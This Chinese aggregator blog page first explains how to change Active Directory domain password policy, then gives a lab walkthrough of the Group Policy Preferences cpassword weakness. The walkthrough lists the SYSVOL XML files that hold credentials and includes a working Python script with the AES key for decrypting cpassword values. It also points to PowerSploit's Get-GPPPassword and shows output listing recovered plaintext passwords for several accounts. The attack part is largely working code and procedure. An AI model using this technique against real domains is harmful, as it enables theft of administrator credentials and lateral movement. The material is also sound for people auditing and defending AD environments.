修改域密码策略

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了修改域密码策略相关的知识,希望对你有一定的参考价值。

当我们安装Active Directory后,域控服务会开启自动的密码策略,如密码复杂度,密码最小长度等等,可是有时候我们希望修改密码复杂度要求。

0、以域管理员账户登录,即 域名\\administrator

1. 服务器控制台--工具--组策略管理、点击开始→程序→管理工具→点击组策略

修改域密码策略_复杂度


2. 在打开的组策略管理,展开林→域→域名→组策略对象→右击Default Domain Policy,选择编辑

修改域密码策略_修改密码_02


3.在打开的组策略管理编辑器,依次展开计算机配置→策略->Windows设置→安全设置→账户策略→密码策略

修改域密码策略_管理工具_03


即可修改密码策略。

4. 运行--CMD:gpupdate /force

修改域密码策略_复杂度_04

5. 在域控重置域用户的密码:


修改域密码策略_管理工具_05

组策略之xml保存的密码

本文通过GPP引出为什么SYSVOL的xml文件中保存着各种账号密码

0x01 GPP漏洞介绍

先介绍下GPP漏洞,GPP全名Group Policy Preferences,组策略首选项。可以通过部署GPP,部署的策略给域成员都添加一个用户或者修改本地用户administrator的密码,达到统一管理本地管理员用户密码的功能。那么这时候域控的SYSVOL共享目录里有一个global.xml里面可能会存放{name,cpasswords},这个账号密码很可能就是域里面所有机子的本地管理员账号密码。所以只要有一个域用户(域机器的system)权限,使用该域用户net use连接域控,然后net view查看域控的共享目录,再用dir将域控的SYSVOL目录下的所有xml文件列出来,找到Groups.xml文件,查看cpassword字段,解密即可。

0x02 环境搭建

在域控先创建组织,该组织下面的所有域机器都通过GPP管理本地管理员的密码

组策略之xml保存的密码

将一些域机器移动过去

组策略之xml保存的密码

组策略之xml保存的密码

给GppComputers组织创建组策略

组策略之xml保存的密码

GPO名字随意

组策略之xml保存的密码

右键编辑

组策略之xml保存的密码

选择本地用户,右键新增,本地使用者

组策略之xml保存的密码

密码更改为Gpppassword.

组策略之xml保存的密码

0x03 获取密码

到SYSVOL中查看

组策略之xml保存的密码

在UserPreferencesGroups文件夹下有Groups.xml文件

组策略之xml保存的密码

内容如下

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內建)" image="2" changed="2021-02-07 08:54:02" uid="{D3BBF62A-E741-4269-B4BE-71E21F972F64}"><Properties action="U" newName="" fullName="" description="" cpassword="j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內建)"/></User>
</Groups>

提取出cpassword字段的值

组策略之xml保存的密码

使用py脚本解密:python2 gpp.py j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M

需要安装pycryptodome模块,python2 -m pip install pycryptodome

import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ","").replace(" ","").decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
iv = "x00" * 16
o = AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext = o[:-ord(o[-1])]
print(plaintext)

成功解出密码

组策略之xml保存的密码

0x04 其他XML文件

例如计划任务,创建一个GPO,名字随意

组策略之xml保存的密码

选择计划任务

组策略之xml保存的密码

在执行身份中选择使用域用户sqladm,执行弹计算器命令

组策略之xml保存的密码

到SYSVOL中查看

组策略之xml保存的密码

在UserPreferencesScheduledTasks文件夹下有ScheduledTasks.xml,内容如下

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="calc" image="0" changed="2021-02-07 07:25:21" uid="{93F6A743-CC48-48CB-BF65-4F68EDAE4BB9}"><Properties action="C" name="calc" appName="C:WindowsSystem32calc.exe" args="" startIn="" comment="" runAs="MOTOOSQLAdm" cpassword="g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc" enabled="1"><Triggers><Trigger type="DAILY" startHour="1" startMinutes="0" beginYear="2021" beginMonth="2" beginDay="7" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
</ScheduledTasks>

执行的用户身份如下

组策略之xml保存的密码

取出cpassword值,成功得到域用户motoosqladm的密码

组策略之xml保存的密码

在下面的这些xml里也都有可能保存着账号密码

GroupsGroups.xml
ServicesServices.xml
ScheduledTasksScheduledTasks.xml
PrintersPrinters.xml
DrivesDrives.xml
DataSourcesDataSources.xml

0x05 更新组策略

Windows会定期刷新整个网络中的组策略设置。在客户端计算机上,默认情况下每90分钟执行一次,随机偏移量为正负30分钟。当更改组策略时,可能需要等待两个小时(90分钟加上30分钟的偏移量),然后才能在客户端计算机上看到任何更改。
也可以在客户机使用gpupdate /force 强制更新域组策略

0x06 脚本利用

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

使用域用户执行该ps脚本,调用方法Get-GPPPassword

可以看到获取到了账号密码

PS C:UsersWangJuan.MOTOODesktop> Get-GPPPassword
UserName : Administrator
NewName : [BLANK]
Password : Gpppassword.
Changed : 2021-02-07 08:54:02
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{4FC55772-5E0A-4ED5-AA84-A3FF988B6409}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M
UserName : MOTOOSQLAdm
NewName : [BLANK]
Password : sql123!@#45
Changed : 2021-02-07 07:35:06
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{E990BD6E-3ABA-45CD-8653-39D2D2B41AA1}UserPreferencesScheduledTasksScheduledTasks.xml
NodeName : ScheduledTasks
Cpassword : g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc
UserName : Motoo
NewName : [BLANK]
Password : Pwd12345
Changed : 2020-02-23 12:55:13
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
UserName : klion
NewName : [BLANK]
Password : Abc12345
Changed : 2020-02-23 12:55:49
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : jh09kN+cc6X1jYVx5ZLQOzJ7PrCU3R8rAJKT47qzE0k
UserName : ITS
NewName : [BLANK]
Password : admin!@#45
Changed : 2020-03-13 02:19:32
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw
UserName : ITSRV
NewName : [BLANK]
Password : in123!@#45
Changed : 2020-03-13 02:50:28
File : \MOTOO.NCSYSVOLMotoo.ncPolicies{F92107F8-1D4E-4B26-84C8-75645D783540}UserPreferencesGroupsGroups.xml
NodeName : Groups
Cpassword : 3bjGvfu/GLA3pSuIm1IOgFhCOw8055xOddEX4k3XNAY


以上是关于修改域密码策略的主要内容,如果未能解决你的问题,请参考以下文章

域控制器组策略密码策略被锁定,如何解决?

升级为域控制器后不能更改管理员密码?

2008AD域用户密码更改

组策略     之   统一修改域中计算机的本地管理员账户和密码

AD域环境取消密码复杂度和密码使用期限

组策略之xml保存的密码